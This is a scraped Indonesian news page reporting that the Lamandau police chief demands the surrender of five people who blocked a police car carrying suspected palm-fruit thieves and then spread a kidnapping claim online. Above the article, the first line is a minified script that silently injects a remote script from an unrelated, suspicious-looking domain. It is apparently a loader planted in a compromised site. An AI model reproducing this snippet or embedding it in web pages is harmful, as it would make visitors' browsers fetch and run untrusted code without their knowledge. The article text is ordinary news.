(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, NANGA BULIK –
Kapolres Lamandau AKBP Bronto Budiyono meminta lima pelaku pengadangan mobil polisi yang membawa terduga pelaku pencurian kelapa sawit segera menyerahkan diri.
“Jika mereka tidak segera menyerahkan diri, kami akan buru,†tegas AKBP Bronto saat menggelar konferensi pers di aula Satreskrim Polres Lamandau, Sabtu (28/1/2023) siang.
Kejadian pengadangan, terang Kapolres, terjadi di area perkebunan kelapa sawit milik PT Satria Hupa Sarana (SHS) pada Selasa 24 Januari 2023 lalu. Saat itu, mobil yang diadang ditumpangi oleh Kasat Shabara Polres Lamandau Iptu Karno.
Pengadangan, jelas AKBP Bronto, berawal ketika Iptu Karno bersama 10 personel Polres Lamandau tengah melakukan patroli dan menemukan terduga pelaku pencurian berinisial JS dan WW di Estate Beringin, Afdeling Golf, Blok 1/6 milik PT SHS.
Baca juga : Pegawai PLN Mengajar Anak Penyintas Gempa Cianjur di Sekolah Darurat
“Saat itu JS dan WW tertangkap tangan sedang memanen buah sawit milik PT SHS di lokasi. Lalu Iptu Karno bersama anggota lainnya mengamankan keduanya,†ujar Kapolres.
Kapolres melanjutkan, di tengah perjalanan mobil yang ditumpangi Iptu Karno diadang lima orang berinisial SR, DM, NF, DD dan PJ. Para pengadang meminta dengan paksa untuk melepaskan teman mereka (JS dan WW) yang telah diamankan.
“Saat membawa terduga pelaku pencurian menuju Mapolres Lamandau, mobil diadang di tengah jalan dan meminta teman mereka untuk dilepaskan,†bebernya.
Selain mengadang mobil petugas, imbuh Kapolres, mereka juga merekam kejadian tersebut serta memviralkannya di media sosial dengan narasi fitnah dan ujaran kebencian. Bahkan mereka menuduh polisi telah melakukan penculikan.
Baca juga : PC IPNU IPPNU HSU Menggelar Latihan Kader Muda
“Saat ini kami sudah mengumpulkan sejumlah bukti dari hasil tangkapan layar dan video, serta telah memeriksa sejumlah saksi. Kami juga sudah meminta keterangan sejumlah ahli pidana dan bahasa terkait unsur pidana dari penyebaran berita bohong tersebut,†ucap Kapolres Lamandau.
Diketahui video pengadangan mobil polisi tersebut telah viral di sejumlah platform media sosial. Akibat narasi yang tidak tepat, banyak masyarakat salah paham dengan apa yang sebenarnya terjadi di lapangan.
“Sekali lagi saya tegaskan, mereka mengadang mobil polisi yang tengah membawa terduga pelaku pencurian. Karena tindakannya tersebut, saya minta mereka segera menyerahkan diri,†pungkasnya.
(Kanalkalimantan.com/habibullah)
Reporter : habibullahÂ
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.